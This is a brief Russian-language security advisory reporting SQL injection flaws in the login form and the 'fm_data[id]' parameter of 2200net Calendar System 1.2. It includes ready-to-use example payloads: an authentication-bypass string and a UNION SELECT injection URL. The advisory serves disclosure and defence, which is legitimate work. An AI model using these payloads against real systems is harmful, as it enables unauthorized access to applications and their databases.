Программа: 2200net Calendar System 1.2, возможно более ранние версии
Уязвимость существует из-за недостаточной обработки входных данных в полях "username"
и "password" на странице авторизации и в параметре "fm_data[id]" в сценарии "main.php".
Удаленный пользователь может с помощью специально сформированного запроса
выполнить произвольные SQL команды в базе данных приложения. Для успешной
эксплуатации уязвимости должна быть выключена опция "magic_quotes_gpc".
Пример:
url: http://host/cal/admin.php?ad=login
login account: ' or 1/*
login password: any
http://host/cal/main.php? &po=calendar&op=calendar_only&fm_data[id]=999'%20union%20select%
201,2,3,4,5, 6,7,8,9/*
